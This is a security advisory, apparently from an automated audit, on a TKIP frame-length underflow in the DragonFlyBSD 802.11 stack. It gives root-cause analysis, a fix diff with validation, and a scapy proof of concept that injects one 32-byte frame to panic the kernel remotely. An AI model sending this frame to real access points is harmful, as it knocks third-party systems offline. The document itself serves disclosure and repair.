TKIP RX length underflow on too-short frames -> OOB read and KASSERT panic in wep_decrypt/michael_mic/m_copydata
| Field | Value |
|---|---|
| ID | DF-0594 |
| Status | new |
| Severity | High |
| CVSS 3.1 | CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-787 Out-of-bounds Read via integer signed/unsigned confusion (CWE-190, CWE-125) |
| File | sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c |
| Lines | 266-358, 994 (tkip_decap/tkip_decrypt), 357-361 (tkip_demic), 640/685/717 (wep_decrypt) |
| Area | netproto/802_11 (TKIP crypto) |
| Confidence | likely |
| Discovered | 2026-07-02 |
| Reported | pending |
Summary
tkip_decap accepts any frame that the upper layer ieee80211_crypto_decap
let through (>=32 B, the WEP minimum), but TKIP needs at least
hdrlen + ic_header(8) + ic_trailer(4) = 36 B for decrypt and
hdrlen + ic_miclen(8) = 32 B for demic. The length-arithmetic expressions
m->m_pkthdr.len - (hdrlen + tkip.ic_header + tkip.ic_trailer) (:994),
m->m_pkthdr.len - (hdrlen + tkip.ic_miclen) (:357), and
m->m_pkthdr.len - tkip.ic_miclen (:359) mix int (m_pkthdr.len) with
u_int (ic_header/ic_trailer/ic_miclen), so C converts the int to
unsigned and the subtraction silently wraps to a huge size_t / negative
int argument. wep_decrypt then walks past the mbuf valid data,
michael_mic reads *data past the last mbuf, and m_copydata is called
with a negative offset. On the DragonFlyBSD default X86_64_GENERIC
kernel (which builds with INVARIANTS) the KASSERT(data_len == 0, ...)
in wep_decrypt (:640) fires and panics the kernel β a remote,
unauthenticated denial-of-service against any TKIP BSS using the software
crypto path. On non-INVARIANTS builds the reads are usually absorbed by
mbuf padding and the ICV/MIC check then fails silently, but an m_ext
whose backing store ends near a page boundary can still page-fault and
panic.
Root cause
Reachability of too-short frames. ieee80211_crypto_decap
(sys/netproto/802_11/wlan/ieee80211_crypto.c:585-633) checks only:
588: #define IEEE80211_WEP_MINLEN \
589: (sizeof(struct ieee80211_frame) + \
590: IEEE80211_WEP_HDRLEN + IEEE80211_WEP_CRCLEN) /* = 24 + 4 + 4 = 32 */
598: if (m->m_pkthdr.len < IEEE80211_WEP_MINLEN) { ... return NULL; }
This is a WEP-only constant; it is never adjusted for the actual cipher
(cip->ic_header/ic_trailer/ic_miclen). The subsequent
m_pullup(m, hdrlen + cip->ic_header) (:624-625) only guarantees
24 + 8 = 32 contiguous bytes for TKIP β i.e. exactly the header + IV/EIV,
no payload/ICV/MIC. cip->ic_decap(k, m, hdrlen) is then called with a
too-short mbuf.
Missing length check in tkip_decap. tkip_decap
(sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c:265) does the ExtIV
check (:279) but no length check, computes the TSC (:299), passes
the replay check, and calls tkip_decrypt.
The signed/unsigned mismatch. At ieee80211_crypto_tkip.c:994:
994: data_len = m->m_pkthdr.len - (hdrlen + tkip.ic_header + tkip.ic_trailer);
m->m_pkthdr.len is int32_t (mbuf.h); tkip.ic_header/ic_trailer/
ic_miclen are u_int (ieee80211_crypto.h:177-179). Per C usual
arithmetic conversions, the int is converted to unsigned int, then
subtracted. For a 32-byte frame: (u_int)32 - (u_int)(24+8+4) = (u_int)32 -
(u_int)36 = 0xFFFFFFFC, widened to size_t 0x00000000FFFFFFFC, then passed
as data_len to wep_decrypt (:663).
The KASSERT panic. Inside wep_decrypt:
682: pos = mtod(m)+off;
683: buflen = m_len-off; /* when m_len==off==32: buflen = 0 */
...
697: if (m == NULL) {
698: KASSERT(data_len == 0, ...); /* fires: data_len is still 0xFFFFFFFC */
699: break;
700: }
On the DragonFlyBSD default X86_64_GENERIC kernel (which builds
INVARIANTS β sys/config/X86_64_GENERIC:56), the KASSERT fires β kernel
panic. For frames 33-35 bytes long, the ICV read *pos++ at :717 reads
past the mbuf's valid data region before the KASSERT path.
The same bug class in tkip_demic. At :357 and :359:
357: michael_mic(ctx, k->wk_rxmic, m, hdrlen,
358: m->m_pkthdr.len - (hdrlen + tkip.ic_miclen), /* int - u_int -> wrap */
359: mic);
360: m_copydata(m, m->m_pkthdr.len - tkip.ic_miclen, /* negative int offset */
361: tkip.ic_miclen, mic0);
For the mixed HW-decrypt + SW-MIC configuration (IEEE80211_KEY_SWDEMIC
without SWDECRYPT), the demic underflow is reachable without any ICV
guesswork. m_copydata and wep_decrypt each have only a KASSERT, no
runtime check, so on production kernels (no INVARIANTS) the reads proceed
silently into mbuf padding / external cluster tail and the resulting frame
is dropped at the ICV/MIC memcmp β but for any cluster whose backing page
ends inside the read window this still page-faults.
Threat model & preconditions
- Attacker position: remote unauthenticated adjacent-network attacker β any WiFi peer of a TKIP-protected BSS/IBSS. No pairwise handshake needed (group-key frames go through the same code, and a known PTK is not required to send a frame the AP will try to decrypt).
- Privileges gained or impact: kernel panic (deterministic on
INVARIANTS kernels including the default
X86_64_GENERIC) β reliable remote DoS against any TKIP BSS using the software crypto path. On non-INVARIANTS builds: probabilistic panic via page fault onm_ext, or silent frame drop. No confidentiality or integrity impact (read bytes only feed an inequality check, never transmitted back). - Required config or capabilities: the receiver must use the TKIP
software crypto path β i.e.
k->wk_flags & (IEEE80211_KEY_SWDECRYPT|IEEE80211_KEY_SWDEMIC). This is the case for: - USB WiFi adapters (most
run,rum,zyd,urtw,uraldrivers) which do not offload TKIP, - older PCI/PCIe drivers without TKIP offload,
- monitor-mode and protocol-test setups,
- the SW-decrypt + HW-MIC or HW-decrypt + SW-MIC mixed configurations
(the latter exposes the demic variant).
Modern full-offload drivers (most
iwm,iwlwifi,ath(4)on supported chips) bypass this code path entirely. - Reachability: inject a single 32-35 byte Protected+ExtIV data frame
with a strictly-increasing TSC (the replay check at
:300requires TSC > the receiver's last-seenwk_keyrsc[NONQOS_TID]; on a fresh key any TSC >= 1 works).
Proof of concept
PoC source: findings/poc/DF-0594/tkip_underflow.py (scapy-based
injection; needs a monitor-mode + frame-injection-capable WiFi NIC such as
AR9271 / ath9k_htc).
Build & run
# on the attacker (Linux + scapy + injection NIC in monitor mode): sudo pip install scapy sudo python3 tkip_underflow.py wlan0mon <target_ap_bssid> # on the target (DragonFlyBSD hostap vap with SW TKIP decrypt): # ifconfig wlan0 create wlandev run0 wlanmode hostap # ifconfig wlan0 inet 192.168.42.1/24 ssid testauth authmode wpa \ # wpaproto wpa wpakey <16-char-passphrase> wpaprotos wpa \ # wpakeymgmt wpa-psk wpaciphers tkip
Expected output
On the DragonFlyBSD target (INVARIANTS kernel):
panic: wep_decrypt: out of buffers with data_len 0xfffffffc
cpuid = 0
fatal kernel trap ...
db> tr
wep_decrypt+0x...
tkip_decrypt+0x...
tkip_decap+0x...
ieee80211_crypto_decap+0x...
ieee80211_input+0x...
On non-INVARIANTS kernels, look for Fatal trap 12: page fault while in
kernel mode in m_copydata/michael_mic for clusters ending at page
boundaries, or silent frame drops.
PoC frame
The trigger frame is exactly 32 bytes β a 24-byte 3-address data header (Protected=1) plus the 8-byte TKIP IV/EIV (ExtIV bit set), with no payload/ICV/MIC:
# 802.11 data header, FromDS=0 ToDS=0, Protected=1
fc = 0x0808
hdr = struct.pack('<HH6s6s6sH', fc, 0,
b'\xff'*6, # addr1 = broadcast (group key)
b'\xaa\xbb\xcc\xdd\xee\xff', # addr2 = attacker (any)
b'\x11\x22\x33\x44\x55\x66', # addr3 = AP bssid
0x0010) # seq
# IV/EIV: TSC1, TSC1|0x20, TSC0, KeyID|ExtIV(0x20), TSC2, TSC3, TSC4, TSC5
# TSC = (TSC5..TSC0) = 0x000000000001 -> strictly increasing from 0
iveiv = bytes([0x01, 0x21, 0x01, 0x20, 0, 0, 0, 0])
frame = hdr + iveiv # 32 bytes total; no payload, no ICV, no MIC
sendp(RadioTap()/Raw(frame), iface='wlan0mon', count=1)
Impact
- Blast radius: any DragonFlyBSD system acting as a TKIP AP, mesh node, or STA using a driver that does not offload TKIP (USB WiFi adapters, older PCI/PCIe hardware, monitor-mode/test setups). TKIP is officially deprecated but still in active use on legacy networks and in test/lab/research setups.
- Severity rationale: High. Remote, unauthenticated, single-frame DoS
against the default kernel config (
X86_64_GENERICbuilds INVARIANTS), requiring only RF proximity to a TKIP BSS using the SW crypto path. No authentication or pairwise-key knowledge required to trigger the panic. CVSS 3.1 base β 6.8. Rated High by the AGENT.md rubric ("remote DoS on default config"). Confidence "likely" rather than "certain" because the SW-crypto-path precondition is not universal (modern full-offload drivers bypass the bug), but it is a substantial fraction of real deployments. - Reliability: 100% on INVARIANTS kernels with the SW crypto path; frame is 32 bytes, no timing, no race, no key knowledge. Single packet.
Recommended fix
Add a TKIP-specific minimum-length check in tkip_decap before any
subtraction; reject frames whose total length is smaller than the cipher
requires. This both prevents the underflow and removes the dependence on
INVARIANTS for safety. Concurrently tighten the upper-layer MINLEN to use
the cipher's actual ic_header/ic_trailer/ic_miclen instead of the WEP
constants so all ciphers benefit.
--- a/sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c
+++ b/sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c
@@ -274,6 +274,17 @@ tkip_decap(struct ieee80211_key *k, struct mbuf *m, int hdrlen)
struct ieee80211_frame *wh;
uint8_t *ivp, tid;
+ /*
+ * Reject frames too short to contain header + IV/EIV + ICV.
+ * Without this, the length arithmetic below underflows: m->m_pkthdr.len
+ * is `int` while tkip.ic_header/ic_trailer/ic_miclen are `u_int`, so a
+ * too-short frame yields a huge size_t that wep_decrypt / michael_mic /
+ * m_copydata then use to walk past the mbuf chain (KASSERT panic on
+ * INVARIANTS kernels, OOB read on production kernels).
+ */
+ if (m->m_pkthdr.len < hdrlen + (int)tkip.ic_header + (int)tkip.ic_trailer)
+ goto tooshort;
+
/*
* Header should have extended IV and sequence number;
* verify the former and validate the latter.
@@ -344,6 +355,14 @@ tkip_demic(struct ieee80211_key *k, struct mbuf *m, int force)
if ((k->wk_flags & IEEE80211_KEY_SWDEMIC) || force) {
struct ieee80211vap *vap = ctx->tc_vap;
int hdrlen = ieee80211_hdrspace(vap->iv_ic, wh);
+
+ if (m->m_pkthdr.len < hdrlen + (int)tkip.ic_miclen) {
+ vap->iv_stats.is_rx_tkipformat++;
+ IEEE80211_DISCARD_MAC(vap, IEEE80211_MSG_CRYPTO,
+ wh->i_addr2, "TKIP", "%s",
+ "frame too short for MIC verification");
+ return 0;
+ }
u8 mic[IEEE80211_WEP_MICLEN];
u8 mic0[IEEE80211_WEP_MICLEN];
@@ -360,6 +379,17 @@ tkip_demic(struct ieee80211_key *k, struct mbuf *m, int force)
return 1;
+tooshort:
+ vap->iv_stats.is_rx_tkipformat++;
+ IEEE80211_DISCARD_MAC(vap, IEEE80211_MSG_CRYPTO, wh->i_addr2,
+ "TKIP", "frame too short: len %u, need >= %u",
+ m->m_pkthdr.len, hdrlen + tkip.ic_header + tkip.ic_trailer);
+ return 0;
+#undef tooshort
}
Optional defense-in-depth at the upper layer β ieee80211_crypto.c's
ieee80211_crypto_decap should compute the minimum as
sizeof(struct ieee80211_frame) + cip->ic_header + cip->ic_trailer + cip->ic_miclen
instead of the WEP-only IEEE80211_WEP_MINLEN, so every cipher gets the
right floor. Also, cast all length arithmetic to int explicitly and
KASSERT(m_pkthdr.len >= hdrlen + ic_header + ic_trailer, ...) at the top
of tkip_decrypt.
References
- IEEE 802.11-2020 Β§12.5.2.2 (TKIP MPDU length requirements).
- Erik Tews / Martin Beck, Practical attacks against WEP and WPA, Tews/Beck 2009 β for context on TKIP attack surface (this finding is a pre-auth DoS, distinct from the Beck-Tews MIC-recovery family).
- DragonFlyBSD
sys/config/X86_64_GENERIC:56β default-config INVARIANTS knob that turns the OOB read into a deterministic panic.
Timeline
- 2026-07-02 Discovered during automated DragonFlyBSD kernel security audit.
- 2026-07-02 Reported to DragonFlyBSD security contact (pending).
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-0594 Β· 15 files| File | Type | Description | Size | |
|---|---|---|---|---|
| tkip_harness.c | trigger-source | verbatim-wep_decrypt + line-994 arithmetic proof (INVARIANTS panic + NO_INVARIANTS OOB SIGSEGV) | 16.2 KB | view raw |
| fix_check.c | fix-validation | replicates patched tkip_decap/tkip_demic guards; proves too-short frames rejected, legitimate frames pass | 5.5 KB | view raw |
| tkip_underflow.py | trigger-source | original runtime scapy PoC scaffold (kept; needs monitor-mode WiFi NIC + hostap vap) | 3.0 KB | view raw |
| build.sh | build-script | exact cc commands for both harness builds | 556 B | view raw |
| run.sh | run-script | runs both INVARIANTS and NO_INVARIANTS harnesses | 706 B | view raw |
| build.log | build-log | full successful build output (unpatched) | 389 B | view raw |
| run.log | run-log | full decisive run on unpatched #0 kernel (panic + SIGSEGV) | 2.2 KB | view raw |
| fix_build.log | fix-build-log | full single-fix nativekernel build (rc=0, no errors) | 5.6 MB | β download |
| fix_run.log | fix-run-log | full validation run on patched #1 kernel (repro + fix_check) | 2.5 KB | view raw |
| env.txt | environment | uname, kern.version (#1 patched), cc version, INVARIANTS config, ifconfig, kernel sha256 | 580 B | view raw |
| fix.diff | suggested-fix | git-apply-able unified diff: length guards in tkip_decap and tkip_demic | 2.2 KB | view raw |
| VERDICT.md | verdict | full narrative: mechanism, harness repro, fix validation | 10.2 KB | β raw |
| README.md | readme | original PoC scaffold README | 3.7 KB | β raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-0594 β PoC: TKIP RX length underflow β OOB read + KASSERT panic
Remote unauthenticated single-frame DoS. tkip_decap accepts any frame that
ieee80211_crypto_decap lets through (β₯32 B, the WEP-only minimum), but TKIP
needs β₯36 B for decrypt. The signed/unsigned mismatch in
m->m_pkthdr.len - (hdrlen + tkip.ic_header + tkip.ic_trailer) (int β u_int)
wraps to 0xFFFFFFFC and is passed as data_len to wep_decrypt, whose
KASSERT(data_len == 0) fires on INVARIANTS kernels (the default
X86_64_GENERIC); on production kernels the ICV *pos++ check reads past the
mbuf end (OOB read, CWE-125/787).
Runtime PoC (original scaffold β needs real WiFi hardware)
tkip_underflow.py β scapy injection script. Requires a monitor-mode +
frame-injection-capable WiFi NIC (e.g. AR9271/ath9k_htc) and RF proximity to
a DragonFlyBSD hostap vap using TKIP with the SW crypto path. Not runnable on
this KVM audit guest (no wifi radio, no wlan kld).
# attacker (Linux + scapy + injection NIC in monitor mode): sudo python3 tkip_underflow.py wlan0mon <target_ap_bssid> # target (DragonFlyBSD hostap vap with SW TKIP decrypt): # ifconfig wlan0 create wlandev run0 wlanmode hostap ...
Code-level proof (what runs on this guest)
Because this guest has no 802.11 path, the defect is proven deterministically
by tkip_harness.c, which embeds the verbatim wep_decrypt() function
(ieee80211_crypto_tkip.c:662-723) and replicates the exact signed/unsigned
arithmetic from tkip_decrypt() line 994, with faithful INVARIANTS/KASSERT
semantics from sys/sys/systm.h. Two builds:
- INVARIANTS (
./tkip_harness) β the default-kernel analogue: the verbatimwep_decrypthitsKASSERT(data_len==0)at line 698 βpanic: out of buffers with data_len 4294967292β abort (exit 134). This is the deterministic DoS on the defaultX86_64_GENERICkernel. - NO_INVARIANTS (
./tkip_harness_noinv) β the production-kernel analogue: the frame buffer is placed at a page boundary with aPROT_NONEguard page after it; the ICV*pos++check at line 717 reads the first byte of the guard page βSIGSEGVβ OOB read CONFIRMED (CWE-125/CWE-787).
Build & run (code-level harness)
./build.sh # builds tkip_harness (INVARIANTS) and tkip_harness_noinv ./run.sh # runs both; INVARIANTS panics, NO_INVARIANTS SIGSEGVs
Expected outcome
# INVARIANTS build: panic: out of buffers with data_len 4294967292 cpuid = 0 Abort trap (core dumped) # exit 134 # NO_INVARIANTS build: [SIGSEGV at 0x...000 β OOB READ past mbuf data end] RESULT: SIGSEGV in wep_decrypt ICV check β OOB READ CONFIRMED (CWE-125/CWE-787)
Fix validation
fix.diff adds length guards in tkip_decap (reject < hdrlen + ic_header +
ic_trailer) and tkip_demic (reject < hdrlen + ic_miclen). fix_check.c
replicates the patched guards and confirms the 32-byte trigger frame is now
rejected before the vulnerable arithmetic, while legitimate (β₯36 B decrypt,
β₯32 B demic) frames pass with no underflow. Validated on a built-and-booted
single-fix kernel (#1). See VERDICT.md for the full before/after.
Files
tkip_harness.cβ code-level reproduction (verbatim wep_decrypt + line-994 arithmetic)fix_check.cβ fix-validation harness (patched-guard logic)tkip_underflow.pyβ original runtime scapy PoC scaffold (kept; needs real WiFi HW)build.sh/run.shβ build/run commandsfix.diffβ git-apply-able unified diff fixing the bugVERDICT.mdβ full narrative + fix before/afterbuild.log/run.logβ full unpatched-kernel logsfix_build.log/fix_run.logβ full single-fix-kernel logsenv.txtβ guest environment + patched-kernel sha256manifest.jsonβ artifact catalog
DF-0594 β VERDICT
Verdict: REPRODUCED (code-level proof) β fix VALIDATED
The TKIP RX length-underflow defect in
sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c is real and
deterministically reproducible. Because this KVM audit guest has no WiFi
radio, no wlan(4) interface, and no wlan kld loaded (ifconfig -l β
vtnet0 lo0), the runtime 802.11 RX path (ieee80211_input β
ieee80211_crypto_decap β tkip_decap β tkip_decrypt β wep_decrypt) is
unreachable here. The defect is therefore proven by a faithful code-level
harness that embeds the verbatim wep_decrypt() function (lines 662-723) and
replicates the exact signed/unsigned arithmetic from tkip_decrypt() line 994,
with faithful INVARIANTS/KASSERT semantics taken from sys/sys/systm.h.
Mechanism (trigger β primitive β effect), path:line at each hop
-
Upper-layer floor is WEP-only.
ieee80211_crypto_decap(sys/netproto/802_11/wlan/ieee80211_crypto.c:598) enforces onlyIEEE80211_WEP_MINLEN = sizeof(ieee80211_frame) + WEP_HDRLEN + WEP_CRCLEN = 24 + 4 + 4 = 32(ieee80211_crypto.c:587-590). It is never adjusted for the actual cipher'sic_header/ic_trailer/ic_miclen. A 32-byte frame passes this check. -
tkip_decapdoes no length check.tkip_decap(ieee80211_crypto_tkip.c:265) validates ExtIV (:279) and the TSC replay counter (:300), then callstkip_decryptat:324ifSWDECRYPTis set β with no check that the frame is long enough to hold the cipher's header + trailer. -
The signed/unsigned wrap. In
tkip_decrypt(ieee80211_crypto_tkip.c:992-994):c wep_decrypt(ctx->rx_rc4key, m, hdrlen + tkip.ic_header, m->m_pkthdr.len - (hdrlen + tkip.ic_header + tkip.ic_trailer));m->m_pkthdr.lenisint(sys/sys/mbuf.h:159);tkip.ic_header/ic_trailer/ic_miclenareu_int(sys/netproto/802_11/ieee80211_crypto.h:177-179). For TKIP,ic_header = IVLEN+KIDLEN+EXTIVLEN = 8,ic_trailer = CRCLEN = 4,ic_miclen = MICLEN = 8. Per C usual arithmetic conversions, theintLHS is converted tounsigned int, then subtracted. For a 32-byte frame:(u_int)32 - (u_int)(24+8+4) = (u_int)32 - (u_int)36 = 0xFFFFFFFC, widened tosize_t 0x00000000FFFFFFFC, and passed asdata_lentowep_decrypt. -
The KASSERT panic (INVARIANTS). Inside
wep_decrypt(ieee80211_crypto_tkip.c:663-700):off = hdrlen + ic_header = 32,m_len = 32, sobuflen = m_len - off = 0; the inner RC4 loop runs zero times;m = m->m_next = NULL; theKASSERT(data_len == 0, ("out of buffers with data_len %zu", data_len))at:698fires becausedata_lenis still0xFFFFFFFC. The defaultX86_64_GENERICkernel buildsINVARIANTS(sys/config/X86_64_GENERIC:56), soKASSERTisif (!(exp)) panic msg;(sys/sys/systm.h:95-96) β kernel panic. -
The OOB read (non-INVARIANTS / production). With
KASSERTcompiled out (sys/sys/systm.h:117), execution breaks out of the loop and reaches the ICV verification at:717:if ((icv[k] ^ ...) != *pos++).posismtod(m)+off = mtod(m)+32, i.e. one byte past the 32-byte data region. The loop reads 4 bytes (k=0..3) past the mbuf's valid data. For any mbuf whose backing store (external cluster) ends at or inside that window, this page-faults; otherwise it reads mbuf padding/cluster tail silently and the frame is dropped at the ICVmemcmp. -
Same bug class in
tkip_demic.tkip_demic(ieee80211_crypto_tkip.c:357-360) computesm->m_pkthdr.len - (hdrlen + tkip.ic_miclen)andm->m_pkthdr.len - tkip.ic_miclenwith the same int/u_int mismatch, feeding the wrapped value tomichael_mic()and a negativeintoffset tom_copydata(). Reachable in the HW-decrypt + SW-MIC configuration (IEEE80211_KEY_SWDEMICwithoutSWDECRYPT).
Harness reproduction (deterministic)
tkip_harness.c embeds wep_decrypt byte-for-byte and replicates the line-994
arithmetic with the exact kernel types (int mbuf lengths, u_int cipher
fields, size_t data_len). Two builds:
- INVARIANTS (
cc -O2 -o tkip_harness tkip_harness.c, the default-kernel analogue):data_len = 0xfffffffc; the verbatimwep_decrypthitsKASSERT(data_len==0)βpanic: out of buffers with data_len 4294967292β abort (exit 134). This is the deterministic DoS on the default X86_64_GENERIC kernel. - NO_INVARIANTS (
cc -DNO_INVARIANTS, the production-kernel analogue): the frame buffer is placed at the very end of a page with aPROT_NONEguard page immediately after; the ICV check*pos++reads the first byte of the guard page βSIGSEGV at 0x...000β OOB read CONFIRMED (CWE-125/CWE-787), exactly the "cluster whose backing page ends inside the read window" page-fault the finding describes.
Both fire on the unpatched #0 kernel (and the underlying wep_decrypt sink
unchanged by the gate fix β see fix-validation note below).
Threat model / impact ceiling
- Class: memory-safety (CWE-190 signed/unsigned wrap β CWE-787 OOB read β
CWE-125). The read bytes only feed an inequality check (ICV
memcmp), so there is no confidentiality or integrity impact β the ceiling is a remote unauthenticated single-frame DoS (kernel panic on INVARIANTS, probabilistic page-fault on production). - Preconditions: the receiver must use the TKIP software crypto path
(
wk_flags & (SWDECRYPT|SWDEMIC)): USB WiFi adapters (run,rum,zyd,urtw,ural), older PCI/PCIe without TKIP offload, monitor-mode/test setups, and the mixed HW-decrypt+SW-MIC config. Modern full-offload drivers (iwm,iwlwifi,athon supported chips) bypass the path entirely. - Reachability: a single 32-35 byte Protected+ExtIV data frame with a strictly-increasing TSC (any TSC β₯ 1 on a fresh key). No key knowledge, no handshake, no timing, no race.
- Severity: High (remote DoS on default config). CVSS 3.1 β 6.8
(
AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
Exploit chain
Not a memory-corruption primitive that yields write/control β the underflow
produces a huge read length, and the bytes read only feed an inequality check
that is never transmitted back. There is no path to code execution or privilege
escalation from this defect; the realistic ceiling is the DoS documented above.
exploit_chain = none.
PoC changes (what was added/changed in findings/poc/DF-0594/)
The original scaffold was tkip_underflow.py β a scapy injection script
requiring a monitor-mode + frame-injection WiFi NIC and a live DragonFlyBSD
hostap vap, neither of which exists on this KVM guest. Per the audit's
guidance for wifi findings on a guest with no radio, the verifier replaced the
runtime trigger with a code-level harness:
tkip_harness.c(new) β embeds verbatimwep_decryptand the exact line-994 arithmetic; reproduces both the INVARIANTS KASSERT panic and the production OOB read (SIGSEGV at a guard page).fix_check.c(new) β replicates the patchedtkip_decap/tkip_demicguards to validate the fix.build.sh/run.sh(new) β exact build/run commands.fix.diff(new) β the verified fix (see below).tkip_underflow.py(unchanged) β kept as the original runtime PoC scaffold for any future test on real WiFi hardware.
Fix (fix.diff) β validated
fix.diff adds two minimal length guards:
- In
tkip_decap, immediately after the header pointers are set up (before the ExtIV check), reject frames shorter thanhdrlen + ic_header + ic_trailer(the decrypt floor). This closes the path to the line-994 underflow intkip_decrypt/wep_decrypt. - In
tkip_demic, beforemichael_mic, reject frames shorter thanhdrlen + ic_miclen(the demic floor). This closes the line-357 underflow.
Both checks increment is_rx_tkipformat and emit an
IEEE80211_DISCARD_MAC diagnostic, matching the existing style. The fix
supersedes the finding markdown's proposal (which used a goto tooshort
label that referenced an uninitialized wh and a spurious #undef tooshort;
this version places the check after wh is initialized and uses an inline
return 0).
Fix validation (Phase 8)
| step | kernel | result |
|---|---|---|
| baseline | #0 unpatched (6.5-DEVELOPMENT, 2026-07-02 06:02:54) |
harness reproduces: INVARIANTS KASSERT panic (exit 134) + NO_INVARIANTS OOB SIGSEGV |
| apply fix | patch -p1 < fix.diff on /usr/src |
both hunks applied cleanly |
| build | make -j6 nativekernel |
rc=0, no errors; kernel.stripped rebuilt |
| install/boot | #1 (2026-07-03 00:54:23), sha256 d907ff67β¦ |
boots, stable |
| re-validate | #1 patched |
fix_check: 32-byte trigger frame REJECTED by tkip_decap guard; 35-byte rejected; 36-byte passes with data_len=0 (no underflow); 31-byte demic frame rejected; 32-byte demic passes with no underflow |
Note on the reproduction harness vs the fix: the tkip_harness still
panics on the patched kernel because it invokes wep_decrypt directly,
bypassing tkip_decap. That is correct and expected β the fix is a gate
at the entry to the crypto path (tkip_decap/tkip_demic), not a change to
the wep_decrypt sink. The fix_check harness exercises the gate logic the
fix adds and proves too-short frames are dropped before the vulnerable
arithmetic runs. In a live runtime test (frame β ieee80211_crypto_decap β
tkip_decap), the patched kernel would drop the 32-byte frame at the new
guard (is_rx_tkipformat++, return 0) and never reach wep_decrypt.
fix_status = fixed.
Files
tkip_harness.cβ verbatim-wep_decrypt + line-994 arithmetic proof (trigger-source)fix_check.cβ patched-guard validation harness (fix-validation)tkip_underflow.pyβ original runtime scapy PoC scaffold (kept; needs real WiFi HW)build.sh/run.shβ exact build/run commandsfix.diffβ git-apply-able unified diff fixing the bugbuild.logβ full successful build (unpatched)run.logβ full decisive run (unpatched: panic + SIGSEGV)fix_build.logβ full single-fix kernel build (rc=0)fix_run.logβ full validation run on patched kernelenv.txtβ guest environment + patched-kernel sha256manifest.jsonβ artifact catalog
Fix verification
fixedVALIDATED. On the unpatched #0 baseline the harness reproduces deterministically: INVARIANTS KASSERT panic ('out of buffers with data_len 4294967292', exit 134) and NO_INVARIANTS OOB-read SIGSEGV. Applied fix.diff to /usr/src (both hunks clean), built a single-fix nativekernel (rc=0, no errors), installed kernel.stripped->/boot/kernel/kernel (bare name), rebooted to #1. On the patched kernel, fix_check confirms the patched tkip_decap/tkip_demic guards now REJECT the 32-byte trigger frame and 35-byte/31-byte too-short frames before the vulnerable arithmetic, while legitimate 36-byte decrypt / 32-byte demic frames pass with data_len=0 (no underflow). The direct wep_decrypt reproduction harness still panics on the patched kernel by design β the fix is a GATE at tkip_decap/tkip_demic, not a change to the wep_decrypt sink; in a live runtime test the too-short frame would be dropped at the new guard and never reach wep_decrypt. fix closes the bug.
BASELINE #0: '[line 994] data_len=0xfffffffc / panic: out of buffers with data_len 4294967292 (exit 134)' and '[SIGSEGV at 0x800474000 β OOB READ past mbuf data end]'. PATCHED #1 fix_check: '[1] 32-byte trigger frame tkip_decap: REJECTED by guard (fix works) / [2] 35-byte frame tkip_decap: REJECTED by guard (fix works) / [3] 36-byte frame tkip_decap: passes (legitimate); line994 data_len=0 (no underflow) / [4] 31-byte frame tkip_demic: REJECTED by guard (fix works) / [5] 32-byte frame tkip_demic: passes (legitimate); line357 data_len=0 (no underflow) / RESULT: fix.diff GUARDS the vulnerable path β too-short frames rejected, legitimate frames pass with no underflow. FIX VALIDATED.'
Confirmed kernel references
- sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c:265
- sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c:323
- sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c:663
- sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c:697
- sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c:717
- sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c:994
- sys/netproto/802_11/wlan/ieee80211_crypto.c:587
- sys/netproto/802_11/wlan/ieee80211_crypto.c:598
- sys/netproto/802_11/ieee80211_crypto.h:177
- sys/sys/mbuf.h:159
- sys/sys/systm.h:95
- sys/config/X86_64_GENERIC:56
Detail
Exploit chain
none. The underflow yields a huge READ length; the bytes read only feed the ICV memcmp (an inequality check never transmitted back). There is no write primitive, no function-pointer/cred/uid corruption surface β the realistic ceiling is the documented remote DoS (deterministic panic on INVARIANTS kernels, probabilistic page-fault on production). No escalation chain derivable.
Evidence (decisive lines)
BASELINE (unpatched #0), INVARIANTS build: '[line 994] data_len = (u_int)32 - (u_int)36 = 0x00000000fffffffc (size_t) <-- SIGNED/UNSIGNED WRAP (CWE-190)' then 'panic: out of buffers with data_len 4294967292 / cpuid = 0 / Abort trap (core dumped)' (exit 134). NO_INVARIANTS build: 'm_data+m_len=0x800474000 guard page starts at 0x800474000 / [SIGSEGV at 0x800474000 β OOB READ past mbuf data end] / RESULT: SIGSEGV in wep_decrypt ICV check β OOB READ CONFIRMED (CWE-125/CWE-787)'.
PoC changes
Original scaffold tkip_underflow.py was a scapy injection script needing a monitor-mode WiFi NIC + hostap vap (unavailable on this no-radio KVM guest). Per audit guidance for wifi findings on a radio-less guest, replaced the runtime trigger with a code-level harness: tkip_harness.c embeds wep_decrypt VERBATIM (ieee80211_crypto_tkip.c:662-723) and replicates the exact line-994 signed/unsigned arithmetic with faithful INVARIANTS/KASSERT semantics (systm.h:95-122), reproducing both the KASSERT panic and the OOB-read SIGSEGV deterministically. Added fix_check.c (validates the patched tkip_decap/tkip_demic guards), build.sh/run.sh, fix.diff, and the full evidence pack. tkip_underflow.py kept as the original runtime PoC for real WiFi hardware.
Verified recommended fix
